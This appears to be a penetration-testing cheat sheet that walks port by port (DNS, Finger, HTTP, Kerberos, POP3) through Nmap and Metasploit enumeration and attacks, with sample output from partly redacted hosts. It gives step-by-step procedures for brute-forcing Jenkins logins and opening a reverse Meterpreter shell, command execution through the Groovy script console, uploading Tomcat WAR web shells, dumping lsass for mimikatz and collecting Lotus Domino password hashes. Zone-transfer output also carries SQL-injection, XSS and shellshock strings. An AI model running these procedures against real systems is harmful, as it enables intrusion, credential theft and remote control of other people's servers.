[dns-brute.nse](#) : This is similar to the msf dns_bruteforce module. Attempts to enumerate DNS hostnames by brute force guessing of common subdomains.

Sample Output:

```
nmap --script dns-brute www.example.com -sn -n -Pn

Starting Nmap 7.01 (https://nmap.org) at 2016-04-05 23:23 IST
Nmap scan report for www.example.com (116.50.xx.xx)
Host is up.
Other addresses for www.example.com (not scanned): 64:ff9b::7432:4fd0

Host script results:
| dns-brute:
|   DNS Brute-force hostnames:
|   mx1.example.com - 64:ff9b:0:0:0:0:cbc7:2989
|   images.example.com - 116.50.xx.xx
|   images.example.com - 64:ff9b:0:0:0:0:7432:404b
|   dns.example.com - 116.50.xx.xx
|   dns.example.com - 64:ff9b:0:0:0:0:7432:42e6
|   web.example.com - 203.199.xx.xx
|   web.example.com - 64:ff9b:0:0:0:0:cbc7:2911
|   exchange.example.com - 203.199.xx.xx
|   mail.example.com - 116.50.xx.xx
|   exchange.example.com - 64:ff9b:0:0:0:0:cbc7:29a7
|   mail.example.com - 64:ff9b:0:0:0:0:7432:4fe7
|   blog.example.com - 116.50.xx.xx
|   blog.example.com - 64:ff9b:0:0:0:0:7432:4ebb
|   www.example.com - 116.50.xx.xx
|   www.example.com - 64:ff9b:0:0:0:0:7432:4fd0
```

```
| sip.example.com - 116.50.xx.xx  
| sip.example.com - 116.50.xx.xx  
| sip.example.com - 64:ff9b:0:0:0:0:7432:4e56  
| sip.example.com - 64:ff9b:0:0:0:0:7432:4ec9  
| mobile.example.com - 116.50.xx.xx  
| mobile.example.com - 64:ff9b:0:0:0:0:7432:4e18
```

```
Nmap done: 1 IP address (1 host up) scanned in 7.02 seconds
```

DNS-Cache-snoop

[dns-cache-snoop.nse](#) : This module is similar to `dns_cache_scraper`. Perform DNS cache snooping against a DNS server. The default list of domains to check consists of the top 50 most popular sites, each site being listed twice, once with “www.” and once without. Use the `dns-cache-snoop.domains` script argument to use a different list.

Sample Output with no arguments:

```
nmap -sU -p 53 --script dns-cache-snoop.nse 103.8.xx.xx  
  
Starting Nmap 7.01 (https://nmap.org) at 2016-04-05 23:30 IST  
Nmap scan report for ns5.xxxxxx.co.in (103.8.xx.xx)  
Host is up (0.067s latency).  
PORT      STATE SERVICE  
53/udp    open  domain  
| dns-cache-snoop: 83 of 100 tested domains are cached.  
| google.com  
| www.google.com  
| facebook.com  
| www.facebook.com  
| youtube.com  
| www.youtube.com  
| yahoo.com  
| www.yahoo.com
```

Sample Output with custom list of websites:

```
nmap -sU -p 53 --script dns-cache-snoop.nse --script-args 'dns-cache-snoop.moc  
  
Starting Nmap 7.01 (https://nmap.org) at 2016-04-05 23:33 IST
```

```
Nmap scan report for ns5.tataidc.co.in (103.8.xx.xx)
Host is up (0.11s latency).
PORT      STATE SERVICE
53/udp    open  domain
| dns-cache-snoop: 2 of 3 tested domains are cached.
| dnl-01.geo.kaspersky.com
|_update.symantec.com
```

DNS-Check-zone

[dns-check-zone.nse](#) : Checks DNS zone configuration against best practices, including RFC 1912. The configuration checks are divided into categories which each have a number of different tests.

Sample Output:

```
nmap -sn -Pn aster.example.co.in --script dns-check-zone --script-args='dns-ch

Starting Nmap 7.01 (https://nmap.org) at 2016-04-06 09:33 IST
Nmap scan report for aster.example.co.in (202.191.xx.xx)
Host is up.
Other addresses for aster.example.co.in (not scanned): 64:ff9b::cabf:9a42
rDNS record for 202.191.xx.xx: segment-202-191.sify.net
Host script results:
| dns-check-zone:
| DNS check results for domain: example.com
|   MX
|     PASS - Reverse MX A records
|     All MX records have PTR records
|   SOA
|     PASS - SOA REFRESH
|     SOA REFRESH was within recommended range (3600s)
|     PASS - SOA RETRY
|     SOA RETRY was within recommended range (600s)
|     PASS - SOA EXPIRE
|     SOA EXPIRE was within recommended range (1209600s)
|     PASS - SOA MNAME entry check
|     SOA MNAME record is listed as DNS server
|     PASS - Zone serial numbers
|     Zone serials match
|   NS
|     FAIL - Recursive queries
```

```
| The following servers allow recursive queries: 45.33.xx.xx
| PASS - Multiple name servers
|   Server has 2 name servers
| PASS - DNS name server IPs are public
|   All DNS IPs were public
| PASS - DNS server response
|   All servers respond to DNS queries
| PASS - Missing nameservers reported by parent
|   All DNS servers match
|_ PASS - Missing nameservers reported by your nameservers
|_   All DNS servers match
```

```
Nmap done: 1 IP address (1 host up) scanned in 6.05 seconds
```

DNS-nsid

[dns-nsid.nse](#) : Retrieves information from a DNS nameserver by requesting its nameserver ID (nsid) and asking for its id.server and version.bind values.

Sample Output:

```
nmap -sSU -p 53 --script dns-nsid 202.191.xx.xx

Starting Nmap 7.01 (https://nmap.org) at 2016-04-06 09:37 IST
Nmap scan report for segment-202-191.sify.net (202.191.xx.xx)
Host is up (0.097s latency).
PORT      STATE SERVICE
53/tcp    open  domain
53/udp    open  domain
| dns-nsid:
|_ bind.version: 9.3.3rc2

Nmap done: 1 IP address (1 host up) scanned in 1.21 seconds
```

DNS-recursion

[dns-recursion.nse](#) : Checks if a DNS server allows queries for third-party names. It is expected that recursion will be enabled on your own internal nameservers.

Sample Output:

```
nmap -sU -p 53 --script=dns-recursion 202.191.xx.xx

Starting Nmap 7.01 (https://nmap.org) at 2016-04-06 09:39 IST
Nmap scan report for segment-202-191.sify.net (202.191.xx.xx)
Host is up (0.094s latency).
PORT      STATE SERVICE
53/udp    open  domain
|_dns-recursion: Recursion appears to be enabled

Nmap done: 1 IP address (1 host up) scanned in 1.14 seconds
```

DNS-Service-Discovery

[dns-service-discovery.nse](#) : Attempts to discover target hosts' services using the DNS Service Discovery protocol. The script first sends a query for _services._dns-sd._udp.local to get a list of services. It then sends a followup query for each one to try to get more information.

Sample Output:

```
Yet to run
nmap --script=dns-service-discovery -p 5353 <target>
```

DNS-SRV-Enum

[dns-srv-enum.nse](#) : Enumerates various common service (SRV) records for a given domain name. The service records contain the hostname, port and priority of servers for a given service. The following services are enumerated by the script:

- Active Directory Global Catalog
- Exchange Autodiscovery
- Kerberos KDC Service
- Kerberos Passwd Change Service
- LDAP Servers
- SIP Servers

- XMPP S2S
- XMPP C2S

Sample Output:

Yet to run

DNS-Zone-Transfer

[dns-zone-transfer.nse](#) : Requests a zone transfer (AXFR) from a DNS server.

Sample Output:

```
nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=zonetra

Starting Nmap 7.01 (https://nmap.org) at 2016-04-06 09:49 IST
Nmap scan report for nsztml.digi.ninja (167.88.xx.xx)
Host is up (0.29s latency).
Other addresses for nsztml.digi.ninja (not scanned): 64:ff9b::a758:2a5e
rDNS record for 167.88.xx.xx: zonetransfer.me
Not shown: 996 closed ports
PORT      STATE      SERVICE
53/tcp    open       domain
| dns-zone-transfer:
| zonetransfer.me.          SOA      nsztml.digi.ninja. rd
| zonetransfer.me.          HINFO    "Casio fx-700G" "Wind
| zonetransfer.me.          TXT       "google-site-verifica
| zonetransfer.me.          MX        0 ASPMX.L.GOOGLE.COM.
| zonetransfer.me.          MX        10 ALT1.ASPMX.L.GOOG
| zonetransfer.me.          MX        10 ALT2.ASPMX.L.GOOG
| zonetransfer.me.          MX        20 ASPMX2.GOOGLEMAIL.
| zonetransfer.me.          MX        20 ASPMX3.GOOGLEMAIL.
| zonetransfer.me.          MX        20 ASPMX4.GOOGLEMAIL.
| zonetransfer.me.          MX        20 ASPMX5.GOOGLEMAIL.
| zonetransfer.me.          A         217.147.xx.xx
| zonetransfer.me.          NS        nsztml.digi.ninja.
| zonetransfer.me.          NS        nsztml.digi.ninja.
| _sip._tcp.zonetransfer.me. SRV       0 0 5060 www.zonetrar
| 157.177.xx.xx.IN-ADDR.ARPA.zonetransfer.me. PTR        www.zonetransfer.me.
| asfdbauthdns.zonetransfer.me. AFSDB     1 asfdbbox.zonetransf
| asfdbbox.zonetransfer.me. A          127.0.xx.xx
```

```

asfdbvolume.zonetransfer.me.      AFSDB  1 asfdbbox.zonetransf
canberra-office.zonetransfer.me.   A      202.14.xx.xx
cmdexec.zonetransfer.me.           TXT    "; ls"
contact.zonetransfer.me.           TXT    "Remember to call or
dc-office.zonetransfer.me.         A      143.228.xx.xx
deadbeef.zonetransfer.me.          AAAA   dead:beaf::
dr.zonetransfer.me.                LOC    53.349044 N 1.642646
DZC.zonetransfer.me.              TXT    "AbCdEfG"
email.zonetransfer.me.             NAPTR  1 1 "P" "E2U+email" "
email.zonetransfer.me.             A      74.125.xx.xx
Info.zonetransfer.me.              TXT    "ZoneTransfer.me serv
internal.zonetransfer.me.          NS      intns1.zonetransfer.n
internal.zonetransfer.me.          NS      intns2.zonetransfer.n
intns1.zonetransfer.me.            A      167.88.xx.xx
intns2.zonetransfer.me.            A      167.88.xx.xx
office.zonetransfer.me.            A      4.23.xx.xx
ipv6actnow.org.zonetransfer.me.    AAAA   2001:67c:2e8:11::c106
owa.zonetransfer.me.               A      207.46.xx.xx
robinwood.zonetransfer.me.         TXT    "Robin Wood"
rp.zonetransfer.me.                RP      robin.zonetransfer.me
sip.zonetransfer.me.               NAPTR  2 3 "P" "E2U+sip" "!
sqli.zonetransfer.me.              TXT    "' or 1=1 --"
sshock.zonetransfer.me.            TXT    "() { :}"; echo Shell
staging.zonetransfer.me.           CNAME   www.sydneyoperahouse.
alltcpportsopen.firewall.test.zonetransfer.me. A      127.0.xx.xx
testing.zonetransfer.me.           CNAME   www.zonetransfer.me.
vpn.zonetransfer.me.               A      174.36.xx.xx
www.zonetransfer.me.               A      217.147.xx.xx
xss.zonetransfer.me.               TXT    "'><script>alert('Boc
zonetransfer.me.                   SOA     nsztml.digi.ninja. rc
135/tcp filtered msrpc
445/tcp filtered microsoft-ds
8333/tcp filtered bitcoin

```

Nmap done: 1 IP address (1 host up) scanned in 18.98 seconds

Finger - Port 79

Metasploit

Finger Service User Enumerator

Used to identify users.

```
use auxiliary/scanner/finger/finger_users  
services -p 79 -u -R
```

Sample Output:

```
[+] 172.30.xx.xx:79 - Found user: adm  
[+] 172.30.xx.xx:79 - Found user: lp  
[+] 172.30.xx.xx:79 - Found user: uucp  
[+] 172.30.xx.xx:79 - Found user: nuucp  
[+] 172.30.xx.xx:79 - Found user: listen  
[+] 172.30.xx.xx:79 - Found user: bin  
[+] 172.30.xx.xx:79 - Found user: daemon  
[+] 172.30.xx.xx:79 - Found user: gdm  
[+] 172.30.xx.xx:79 - Found user: noaccess  
[+] 172.30.xx.xx:79 - Found user: nobody  
[+] 172.30.xx.xx:79 - Found user: nobody4  
[+] 172.30.xx.xx:79 - Found user: oracle  
[+] 172.30.xx.xx:79 - Found user: postgres  
[+] 172.30.xx.xx:79 - Found user: root  
[+] 172.30.xx.xx:79 - Found user: svctag  
[+] 172.30.xx.xx:79 - Found user: sys  
[+] 172.30.xx.xx:79 Users found: adm, bin, daemon, gdm, listen, lp, noaccess,
```

Nmap

Finger

[finger.nse](#) : Attempts to retrieve a list of usernames using the finger service.

Sample Output:

```
Yet to run
```

Other

finger

Same can be done using finger command

```
finger root 172.30.xx.xx
finger: 172.30.xx.xx: no such user.
Login: root                      Name: root
Directory: /root                 Shell: /bin/bash
Last login Sat Feb  6 22:43 (IST) on tty1
No mail.
No Plan.
```

Need to know weather in your city? Just do finger cityname@graph.no

```
finger newdelhi@graph.no
      -= Meteogram for india/delhi/new_delhi -=
'C                                     Rain
37
36      ^^^^^^^^^^^^^^^^^^
35      ^^^                      ^^^
34      =--                      ^^^
33      ^^^                      ^^^
32      ^^^                      ^^^
31      ^^^^^^                  ^^^^^^
30      ^^^^^^                  ^^^^^^
29      ^^^^^^                  ^^^^^^
28
01 02 03 04 05_06_07_08_09_10_11_12_13_14_15_16_17_18 19 20 21 22 Hour
SW SW SW SW  W  W  W  W NW NW NW NW NW NW NW NW  W  W  W  SW SW SW Wind dir.
 2  2  2  2  3  5  5  6  7  6  6  6  6  6  6  5  4  2  2  1  2  2 Wind(mps)

Legend left axis:  - Sunny    ^ Scattered    = Clouded    =V= Thunder    # Fog
Legend right axis: | Rain     ! Sleet        * Snow
[Weather forecast from yr.no, delivered by the Norwegian Meteorological Instit
```

HTTP

Let's first get a hold of what services are running on the network by checking the different banners

```
services -p 80 -c port,name,info -u -o /tmp/http.ports  
cat /tmp/http.ports | cut -d , -f2,3,4 | sort | uniq | tr -d \" | grep -v port
```

Sample Services running

```
80,http,3Com switch http config  
80,http,3Com switch webadmin 1.0  
80,http,Agranat-EmWeb 5.2.6 HP LaserJet http config  
80,http,Allegro RomPager 4.30  
80,http,Allen-Bradley 1761-NET-ENIW http config  
80,http,Apache-Coyote/1.1 (401-Basic realm=Tomcat Manager Application)  
80,http,Apache httpd  
80,http,Apache httpd 0.6.5  
80,http,Apache httpd 1.3.27 (Unix) (Red-Hat/Linux) PHP/4.1.2 mod_perl/1.24_01  
80,http,Apache httpd 2.0.63 (CentOS)  
80,http,Apache httpd 2.2.10 (Fedora)  
80,http,Apache httpd 2.2.15 (Red Hat)  
80,http,Apache httpd 2.2.17 (Win32)  
80,http,Apache httpd 2.2.21 (Win32) mod_ssl/2.2.21 OpenSSL/1.0.0e PHP/5.3.8 mc  
80,http,Apache httpd 2.2.22 (Ubuntu)  
80,http,Apache httpd 2.2.3 (Red Hat)  
80,http,Apache httpd 2.4.12 (Unix)  
80,http,Apache httpd 2.4.9 (Win32) PHP/5.5.12  
80,http,Apache Tomcat/Coyote JSP engine 1.1  
80,http,AudioCodes MP-202 VoIP adapter http config  
80,http,BenQ projector Crestron RoomView  
80,http,Boa HTTPd 0.94.14rc19  
80,http,BusyBox httpd 1.13  
80,http,Canon Pixma IP4000R printer http config KS_HTTP 1.0  
80,http,Canon printer web interface  
80,http,Check Point NGX Firewall-1  
80,http,ChipPC Extreme httpd  
80,http,Cisco IOS http config  
80,http,Citrix Xen Simple HTTP Server XenServer 5.6.100  
80,http,Crestron MPS-200 AV routing system http config  
80,http,Crestron PRO2 automation system web server  
80,http,Debut embedded httpd 1.20 Brother/HP printer http admin  
80,http,Dell N2000-series switch http admin  
80,http,Dell PowerVault TL4000 http config
```

```
80,http,D-Link print server http config 1.0
80,http,Embedthis HTTP lib httpd
80,http,Gembird/Hawking/Netgear print server http config
80,http,GoAhead WebServer LinkSys SLM2024 or SRW2008 - SRW2016 switch http cor
80,http,GoAhead WebServer Router with realtek 8181 chipset http config
80,http,HP-ChaiSOE 1.0 HP LaserJet http config
80,http,HP Deskjet 3050 J610 printer http config Serial CN12E3937Y05HX
80,http,HP Integrated Lights-Out web interface 1.30
80,http,HP LaserJet 1022n printer http config 4.0.xx.xx
80,http,HP LaserJet P2014n printer http config 4.2
80,http,HP Officejet 7610 printer http config Serial CN5293M07X064N
80,http,HP ProCurve 1800-24G switch http config
80,http,Jetty 6.1.x
80,http,Konica Minolta PageScope Web Connection httpd
80,http,Liaison Exchange Commerce Suite
80,http,lighttpd 1.4.33
80,http,Linksys PAP2 VoIP http config
80,http,Lotus Domino httpd
80,http,Mathopd httpd 1.5p6
80,http,Mbedthis-Appweb 2.5.0
80,http,Microsoft HTTPAPI httpd 2.0 SSDP/UPnP
80,http,Microsoft-IIS/8.5 (Powered by ASP.NET)
80,http,Microsoft IIS httpd 10.0
80,http,Microsoft IIS httpd 8.5
80,http,MoxaHttp 1.0
80,http,nginx 1.2.2
80,http,Omron PLC http config
80,http,Oracle HTTP Server Powered by Apache 1.3.22 mod_plsql/3.0.xx.xx.3b moc
80,http,Panasonic WV-NF284 webcam http config
80,http-proxy,Squid http proxy 2.5.STABLE4
80,http,RapidLogic httpd 1.1
80,http,Samsung SyncThru Web Service M337x 387x 407x series; SN: ZDFABJEF60000
80,http,uc-httpd 1.0.0
80,http,Virata-EmWeb 6.2.1 HP printer http config
80,http,VMware ESXi 4.1 Server httpd
80,http,VMware ESXi Server httpd
80,http,Web-Server httpd 3.0 Ricoh Aficio printer web image monitor
80,http,Western Digital My Book http config
80,http,Zero One Technology 11 httpd 5.4.2049
80,ipp,Canon printer http config 1.00
80,ipp,HP Officejet Pro 8600 ipp model CM750A; serial CN314B3J9905SN
80,ipp,Web-Server httpd 3.0 NRG copier or Ricoh Aficio printer http config
80,rtsp,
80,soap,gSOAP soap 2.7
80,tcpwrapped,Cisco IOS http config
```

```
80,tcpwrapped,Virata-EmWeb 6.0.1 HP LaserJet P2015 Series printer http config
80,upnp,Epson Stylus NX230 printer UPnP UPnP 1.0; Epson UPnP SDK 1.0
80,wsman,Openwsman
```

So, A lot of stuff, Let's test them for one by one.

Webmin

Metasploit

```
auxiliary/admin/webmin/edit_html_fileaccess 2012-09-06 normal Webmi
auxiliary/admin/webmin/file_disclosure 2006-06-30 normal Webmi
exploit/unix/webapp/webmin_show_cgi_exec 2012-09-06 excellent Webmi
```

but our webmin versions are different.

```
auxiliary/admin/webmin/edit_html_fileaccess requires Webmin 1.580 plus it requ
auxiliary/admin/webmin/file_disclosure Webmin (versions prior to 1.290) and Us
exploit/unix/webapp/webmin_show_cgi_exec in Webmin 1.580
```

Moving on to

Jenkins

Typically, Jenkins exposes an endpoint (/people or /asynchPeople) that does not require authentication and where all the defined users are listed.

Metasploit

- Jenkins-CI Enumeration: This module enumerates a remote Jenkins-CI installation in an unauthenticated manner, including host operating system and Jenkins installation details.

```
msf > use auxiliary/scanner/http/jenkins_enum
msf auxiliary(jenkins_enum) > set rhosts someexample.com
```

```
msf auxiliary(jenkins_enum) > set rport 9000
msf auxiliary(jenkins_enum) > set targeturi /
msf auxiliary(jenkins_enum) > exploit
```

Sample Output

```
[*] 10.0.100.195:9000 - Jenkins Version - 1.647
[*] 10.0.100.195:9000 - /script restricted (403)
[*] 10.0.100.195:9000 - /view/All/newJob restricted (403)
[+] 10.0.100.195:9000 - /asynchPeople/ does not require authenticati
[*] 10.0.100.195:9000 - /systemInfo restricted (403)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

- Jenkins-CI Login Utility: This module attempts to login to a Jenkins-CI instance using a specific user/pass. So, Let's try with Rockyou wordlist

```
msf > use auxiliary/scanner/http/jenkins_login
msf auxiliary(jenkins_login) > set username admin
msf auxiliary(jenkins_login) > set pass_file rockyou.txt
msf auxiliary(jenkins_login) > set rhosts someexample.com
msf auxiliary(jenkins_login) > set rport 9000
msf auxiliary(jenkins_login) > set stop_on_success true
msf auxiliary(jenkins_login) > exploit
```

Sample Output:

```
[-] 10.0.100.195:9000 JENKINS - LOGIN FAILED: admin:123456 (Incorrec
[-] 10.0.100.195:9000 JENKINS - LOGIN FAILED: admin:flower (Incorrec
[-] 10.0.100.195:9000 JENKINS - LOGIN FAILED: admin:playboy (Incorre
[+] 10.0.100.195:9000 - LOGIN SUCCESSFUL: admin:hello
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

- Jenkins-CI Script-Console Java Execution: This module uses the Jenkins-CI Groovy script console to execute OS commands using Java. As we have the credentials obtained above, we can use them to execute OS commands


```
msf > use exploit/multi/http/jenkins_script_console
msf exploit(jenkins_script_console) > set username admin
msf exploit(jenkins_script_console) > set password hello
msf exploit(jenkins_script_console) > set rhost someexample.com
msf exploit(jenkins_script_console) > set rport 9000
msf exploit(jenkins_script_console) > set targeturi /
msf exploit(jenkins_script_console) > set target 1
msf exploit(jenkins_script_console) > exploit

[*] Started reverse TCP handler on 10.0.100.245:4444
[*] Checking access to the script console
[*] Logging in...
[*] someexample.com:9000 - Sending Linux stager...
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1495599 bytes) to 10.0.100.195
[*] Meterpreter session 2 opened (10.0.100.245:4444 -> 10.0.100.195:44531)
[!] Deleting /tmp/AaqyV payload file

meterpreter > shell
Process 1840 created.
Channel 1 created.
/bin/sh: 0: can't access tty; job control turned off
$ whoami
jenkins
$ id
uid=109(jenkins) gid=117(jenkins) groups=117(jenkins)
$
```

If the above metasploit modules doesn't work, we can perform code execution manually. Visit the jenkins web page > Manage Jenkins (options on the left side) > script console . In the script console page. copy and paste the below code into the editable area.

```
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```

In place of '[INSERT COMMAND]' we can use powershell Empire launcher or Web_delivery powershell inject code to get an agent or meterpreter shell on our attacking machine.

The above has been taken from [Hacking Jenkins Servers with No Password](#) Also, Leonjza has written a blog [Jenkins to Meterpreter - toying with powersploit](#) which could provide more idea.

Apache Tomcat

Searching for Tomcat

```
services -S "Tomcat"
```

Services

=====

host	port	proto	name	state	info
10.10.xx.xx	8443	tcp	ssl/http	open	Apache Tomcat/Coyote JSP engine 1.
10.10.xx.xx	80	tcp	http	open	Apache-Coyote/1.1 (401-Basic realm
10.10.xx.xx	8080	tcp	http	open	Apache-Coyote/1.1 (401-Basic realm
10.10.xx.xx	1311	tcp	ssl/http	open	Apache Tomcat/Coyote JSP engine 1.
10.10.xx.xx	80	tcp	http	open	Apache Tomcat/Coyote JSP engine 1.
10.10.xx.xx	80	tcp	http	open	Apache-Coyote/1.1 (401-Basic realm
10.10.xx.xx	1311	tcp	ssl/http	open	Apache Tomcat/Coyote JSP engine 1.
10.10.xx.xx	8443	tcp	ssl/http	open	Apache Tomcat/Coyote JSP engine 1.
10.10.xx.xx	80	tcp	http	open	Apache-Coyote/1.1 (401-Basic realm
10.17.xx.xx	8081	tcp	http	open	Apache-Coyote/1.1 (401-Basic realm
10.23.xx.xx	8080	tcp	http	open	Apache Tomcat/Coyote JSP engine 1.
10.87.xx.xx	8080	tcp	http	open	Apache-Coyote/1.1 (401-Basic realm

We get multiple tomcat manager applications running. Let's see what we have for Tomcat

- **Tomcat Application Manager Login Utility** which checks for default tomcat username and passwords using the above module

```
use auxiliary/scanner/http/tomcat_mgr_login
services -p 8080 -S "Tomcat Manager" -R
```

Run the scan for other ports also above 8443, 80, 1311, 8081 :)

Sample Output:

```
[ - ] 10.25.xx.xx:8080 TOMCAT_MGR - LOGIN FAILED: QCC:QLogic
[*] Scanned 6 of 7 hosts (85% complete)
[+ ] 10.87.xx.xx:8080 - LOGIN SUCCESSFUL: admin:admin
[+ ] 10.10.xx.xx:80 - LOGIN SUCCESSFUL: tomcat:tomcat
```

Yay :) We got two apache tomcat we can upload WAR files and get shell ;)

There are **four ways** (in our knowledge to exploit this)

- Apache Tomcat Manager Application Deployer Authenticated Code Execution (tomcat_mgr_deploy)
- Apache Tomcat Manager Authenticated Upload Code Execution (tomcat_mgr_upload)

Use either of them to exploit the application by

```
msf > use exploit/multi/http/tomcat_mgr_deploy
msf exploit(tomcat_mgr_deploy) > show options
Module options (exploit/multi/http/tomcat_mgr_deploy):
Name          Current Setting  Required  Description
-----
HttpPassword          no           The password for
HttpUsername          no           The username to a
PATH                  /manager      yes       The URI path of t
Proxies               no           A proxy chain of
RHOST                 yes          The target address
RPORT                 80           The target port (
SSL                   false        Negotiate SSL/TLS
VHOST                 no           HTTP server virtu

Exploit target:

Id  Name
--  ---
0   Automatic
```

set the values required by exploit and set the suitable payload and exploit. The successful exploitation will give us shell of the victim machine. The payload options can be viewed by using the command

```
show payloads
```

The payload options available for this exploit is

```
Compatible Payloads
=====
Name                               Disclosure Date Rank  D
----                               -
generic/custom                     normal  C
generic/shell_bind_tcp              normal  G
generic/shell_reverse_tcp           normal  G
java/meterpreter/bind_tcp           normal  J
java/meterpreter/reverse_http       normal  J
java/meterpreter/reverse_https      normal  J
java/meterpreter/reverse_tcp        normal  J
java/shell/bind_tcp                 normal  C
java/shell/reverse_tcp               normal  C
java/shell_reverse_tcp              normal  J
```

Set the payload option (depending upon the target's operating system which can be selected by set TARGET <ID>) by using

```
set payload java/meterpreter/reverse_https -to directly
or
set payload java/shell/reverse_tcp         -to get the
```

Once we have obtained a meterpreter shell we can use getsystem to run the shell with administrative rights,

Wait, what if the exploitation doesn't work ? in that case we can exploit the application by another way. :)

- **Web-Shell:** The exploit which we learned above, uploads or deploys the malicious payload into the application and runs it. sometimes this may not work as it is supposed to be in that case we can directly upload a shell using a WAR file deployment functionality given in the /manager/html page. This WAR file contains nothing but a small code of obtaining a shell called cmd.war file. The code can be downloaded from [Laudanum Shells](#).

Once you have downloaded the file upload the file to the application. also Download the procdump.exe from [ProcDump](#). Copy the procdump file inside the .WAR previously downloaded and upload the modified file to the application. The idea of uploading the procdump with the WAR file is to obtain a lsass.exe process's dump.

Note

Lsass.exe (Local security Authority Subsystem Service) is responsible for enforcing the security policy on the system. It verifies users logging on to a Windows computer or server, handles password changes, and creates access tokens. Dumping this process will give us file Lsass.DMP file which can be used to crack the windows machines password in offline with the help of famous mimikatz

the lsass.exe process dump can be taken by

```
cmd /c "cd C:\<Path to the procdump file> & procdump -acce
```

After uploading the WAR file, The system level shell could be obtained by tampering the url [http://<IP Address>/manager/cmd.war/cmd.jsp](#) , should directly give us the shell in the page itself


- [Jsp File Browser](#): Install file browser java server page. This JSP program allows remote web-based file access and manipulation. Able to upload-download, execute commands. Thanks to Tanoy for informing about this.

- Searching for **Canon**

Found an interesting module **Canon Printer Wireless Configuration Disclosure** which enumerates wireless credentials from Canon printers with a web interface. It has been tested on Canon models: MG3100, MG5300, MG6100, MP495, MX340, MX870, MX890, MX920. We still need to figure out what is Options.

```
use auxiliary/scanner/http/canon_wireless
```

Sample Output

```
[ - ] 10.23.xx.xx:80 File not found
[ + ] 10.23.xx.xx:80 Option: 
[ - ] 10.23.xx.xx:80 Could not determine LAN Settings.
```

JBoss

rvrsh3ll has written a blog on [Exploiting JBoss with Empire and PowerShell](#)

Lotus Domino httpd

Searching for Lotus Domino we got few modules

```
auxiliary/scanner/lotus/lotus_domino_hashes          norm
auxiliary/scanner/lotus/lotus_domino_login           norm
auxiliary/scanner/lotus/lotus_domino_version         norm
```

Let's try them one by one

- **Lotus Domino Version** which determines Lotus Domino Server Version by several checks.

```
use auxiliary/scanner/lotus/lotus_domino_version
services -p 80 -S "Lotus" -R
```

Sample output:

```
[*] 10.10.xx.xx:80 Lotus Domino Base Install Version: ["9.0.0.0"]
```

Let's try

- **Lotus Domino Login** which is Lotus Domino Authentication Brute Force Utility with our default passwords.

```
use auxiliary/scanner/lotus/lotus_domino_login
services -p 80 -S "Lotus" -R
set USERNAME admin
set PAsSwOrD example@123
```

Sample Output:

```
[*] 10.10.xx.xx:80 LOTUS_DOMINO - [1/1] - Lotus Domino - Trying user
[+] http://10.10.xx.xx:80 - Lotus Domino - SUCCESSFUL login for 'adm
```

Using the above credentials we can use

- **Lotus Domino Password Hash Collector** module to download user hashes.

```
use auxiliary/scanner/lotus/lotus_domino_hashes
services -p 80 -S "Lotus" -R
set NOTES_USER admin
set NOTES_PASS example@123
```

Sample Output

```
[*] http://10.10.xx.xx:80 - Lotus Domino - Trying dump password hash
[+] http://10.10.xx.xx:80 - Lotus Domino - SUCCESSFUL authentication
[*] http://10.10.xx.xx:80 - Lotus Domino - Getting password hashes
[+] http://10.10.xx.xx:80 - Lotus Domino - Account Found: nadmin, no
```

IIS

We can check if WebDAV is enabled on the websites running IIS by **HTTP WebDAV Scanner** which detect web servers with WebDAV enabled.

```
use auxiliary/scanner/http/webdav_scanner
```

Sample Output: Mostly old IIS like 5.1/6.0 would have WebDAV enabled. It is disabled by default in the newer versions.

```
[+] 10.87.xx.xx (Microsoft-IIS/5.1) has WEBDAV ENABLED
```

VMware ESXi

Let's find what version they are running by **VMware ESX/ESXi Fingerprint Scanner** which accesses the web API interfaces for VMware ESX/ESXi servers and attempts to identify version information for that server.

```
use auxiliary/scanner/vmware/esx_fingerprint  
services -p 80 -S VMware
```

Sample Output

```
[+] 10.10.xx.xx:443 - Identified VMware ESXi 5.5.0 build-1623387  
[+] 10.10.xx.xx:443 - Identified VMware ESXi 5.5.0 build-1623387  
[*] Scanned 2 of 18 hosts (11% complete)  
[+] 10.10.xx.xx:443 - Identified VMware ESXi 5.1.0 build-799733  
[+] 10.10.xx.xx:443 - Identified VMware ESXi 5.5.0 build-1623387  
[*] Scanned 4 of 18 hosts (22% complete)  
[+] 10.10.xx.xx:443 - Identified VMware vCenter Server 6.0.0 build-3339083  
[*] Scanned 6 of 18 hosts (33% complete)  
[+] 10.10.xx.xx:443 - Identified VMware ESXi 6.0.0 build-3073146  
[+] 10.10.xx.xx:443 - Identified VMware ESXi 5.1.0 build-799733  
[*] Scanned 17 of 18 hosts (94% complete)  
[+] 10.10.xx.xx:443 - Identified VMware ESXi 5.1.0 build-1065491
```

Kerberos - Port 88

Nmap

krb5-enum-users

[krb5-enum-users.nse](#) : Discovers valid usernames by brute force querying likely usernames against a Kerberos service. When an invalid username is requested the server will respond using the Kerberos error code KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN, allowing us to determine that the user name was invalid. Valid user names will illicit either the TGT in a AS-REP response or the error KRB5KDC_ERR_PREAUTH_REQUIRED, signaling that the user is required to perform pre authentication.

The script should work against Active Directory. It needs a valid Kerberos REALM in order to operate.

```
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='XX-XX-XX'"

Starting Nmap 7.01 (https://nmap.org) at 2016-05-23 12:13 IST
Nmap scan report for ecindxxxxx.internal.vxxxxx.com (10.74.251.24)
Host is up (0.0015s latency).
PORT      STATE SERVICE
88/tcp    open  kerberos-sec
| krb5-enum-users:
|   Discovered Kerberos principals
|_    root@XX-XXXT

Nmap done: 1 IP address (1 host up) scanned in 0.44 seconds
```

POP3 - Port 110

Metasploit

Two auxiliary scanner modules

POP3 Banner Grabber

Banner grabber for pop3

```
use auxiliary/scanner/pop3/pop3_version  
services -p 110 -R -u
```

POP3 Login Utility

Attempts to authenticate to an POP3 service.

```
use auxiliary/scanner/pop3/pop3_login  
services -p 110 -R -u
```

Nmap

Two NSEs

POP3-capabilities

[pop3-capabilities.nse](#) : Retrieves POP3 email server capabilities.

POP3-brute

